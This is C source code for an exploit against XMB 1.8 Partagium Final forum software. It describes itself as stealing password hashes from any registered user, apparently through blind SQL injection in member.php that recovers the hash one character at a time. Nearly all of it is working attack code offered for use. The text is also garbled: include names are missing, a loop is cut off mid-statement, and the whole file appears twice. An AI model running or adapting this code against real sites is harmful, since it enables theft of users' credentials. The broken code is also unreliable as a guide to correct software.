/* * exmb.c - XMB 1.8 Partagium Final exploit * * Steals password hashes from any registered user * * http://www.bbugs.org */ #include #include #include #include #include #include #include #include #include #include #include #define USERAGENT "Mozilla/4.75" #define SCRIPT "member.php" void safe_send(int, void *, size_t, int); void safe_recv(int, void *, size_t, int); void resolve_host(struct sockaddr *, char *); char *get_members_table(struct sockaddr_in); int get_err_page_size(struct sockaddr_in); void usage(); void do_it(); char hexchars[]= { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' }; char *argv0, *target_host, *user, *path; unsigned short target_port, beginchar, endchar; int main(int argc, char **argv) { int ch; argv0 = argv[0]; user = path = NULL; target_port = 80; beginchar = 1; endchar = 32; while ((ch = getopt(argc, argv, "b:e:hp:u:")) != -1) { switch (ch) { case 'b': beginchar = atoi(optarg); break; case 'e': endchar = atoi(optarg); break; case 'p': path = optarg; break; case 'u': user = optarg; break; case 'h': case '?': default: usage(); } } argc-=optind; argv+=optind; if (argc > 1) target_port = atoi(argv[1]); if (argc > 0) target_host = argv[0]; else usage(); if (!path) { printf("you must specify a path\n"); exit(1); } if (!user) { printf("you must specify an user\n"); exit(1); } do_it(); return 0; } void do_it() { char *table; struct sockaddr_in sa; int s, c, spread, pos, i, err_sz, sz; char buf[31337], email2[20000], hash[33], *p; resolve_host((struct sockaddr *)&sa, target_host); sa.sin_port = htons(target_port); printf("\nAttacking %s:%d (%s)\n\n", target_host, target_port, inet_ntoa(sa.sin_addr)); printf("Using script path: %s/%s\n", path, SCRIPT); err_sz = get_err_page_size(sa); printf("Got error page size: %d bytes\n", err_sz); table = get_members_table(sa); printf("Got members table: %s\n", table); printf("This may take a while...\n\n"); printf("* %s's password hash: ", user); fflush(stdout); for (c=beginchar; c<=endchar; c++) { for (spread=8,pos=0; spread; spread/=2) { sprintf(email2, "+and("); for (i=0; isin_family = hent->h_addrtype; memcpy(&address->sin_addr, hent->h_addr, hent->h_length); } else { address->sin_family = AF_INET; address->sin_addr.s_addr = inet_addr(hostname); if (address->sin_addr.s_addr == -1) { printf("unknown host: %s\n", hostname); exit(1); } } } void safe_recv(int s, void *buf, size_t len, int flags) { int ret, received=0; do { ret = recv(s,buf+received,len-received,flags); switch(ret) { case -1: perror("recv"); exit(1); default: received+=ret; } } while(ret); } void safe_send(int s, void *buf, size_t len, int flags) { int ret, sent=0; do { ret = send(s,buf+sent,len-sent,flags); switch(ret) { case -1: perror("send"); exit(1); default: sent+=ret; } } while(ret); } void usage() { fprintf(stderr, "Usage: %s <-p path> <-u user> [-b beginchar] [-e endchar] [port]\n\n" , argv0); exit(1); }/* * exmb.c - XMB 1.8 Partagium Final exploit * * Steals password hashes from any registered user * * http://www.bbugs.org */ #include #include #include #include #include #include #include #include #include #include #include #define USERAGENT "Mozilla/4.75" #define SCRIPT "member.php" void safe_send(int, void *, size_t, int); void safe_recv(int, void *, size_t, int); void resolve_host(struct sockaddr *, char *); char *get_members_table(struct sockaddr_in); int get_err_page_size(struct sockaddr_in); void usage(); void do_it(); char hexchars[]= { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' }; char *argv0, *target_host, *user, *path; unsigned short target_port, beginchar, endchar; int main(int argc, char **argv) { int ch; argv0 = argv[0]; user = path = NULL; target_port = 80; beginchar = 1; endchar = 32; while ((ch = getopt(argc, argv, "b:e:hp:u:")) != -1) { switch (ch) { case 'b': beginchar = atoi(optarg); break; case 'e': endchar = atoi(optarg); break; case 'p': path = optarg; break; case 'u': user = optarg; break; case 'h': case '?': default: usage(); } } argc-=optind; argv+=optind; if (argc > 1) target_port = atoi(argv[1]); if (argc > 0) target_host = argv[0]; else usage(); if (!path) { printf("you must specify a path\n"); exit(1); } if (!user) { printf("you must specify an user\n"); exit(1); } do_it(); return 0; } void do_it() { char *table; struct sockaddr_in sa; int s, c, spread, pos, i, err_sz, sz; char buf[31337], email2[20000], hash[33], *p; resolve_host((struct sockaddr *)&sa, target_host); sa.sin_port = htons(target_port); printf("\nAttacking %s:%d (%s)\n\n", target_host, target_port, inet_ntoa(sa.sin_addr)); printf("Using script path: %s/%s\n", path, SCRIPT); err_sz = get_err_page_size(sa); printf("Got error page size: %d bytes\n", err_sz); table = get_members_table(sa); printf("Got members table: %s\n", table); printf("This may take a while...\n\n"); printf("* %s's password hash: ", user); fflush(stdout); for (c=beginchar; c<=endchar; c++) { for (spread=8,pos=0; spread; spread/=2) { sprintf(email2, "+and("); for (i=0; isin_family = hent->h_addrtype; memcpy(&address->sin_addr, hent->h_addr, hent->h_length); } else { address->sin_family = AF_INET; address->sin_addr.s_addr = inet_addr(hostname); if (address->sin_addr.s_addr == -1) { printf("unknown host: %s\n", hostname); exit(1); } } } void safe_recv(int s, void *buf, size_t len, int flags) { int ret, received=0; do { ret = recv(s,buf+received,len-received,flags); switch(ret) { case -1: perror("recv"); exit(1); default: received+=ret; } } while(ret); } void safe_send(int s, void *buf, size_t len, int flags) { int ret, sent=0; do { ret = send(s,buf+sent,len-sent,flags); switch(ret) { case -1: perror("send"); exit(1); default: sent+=ret; } } while(ret); } void usage() { fprintf(stderr, "Usage: %s <-p path> <-u user> [-b beginchar] [-e endchar] [port]\n\n" , argv0); exit(1); }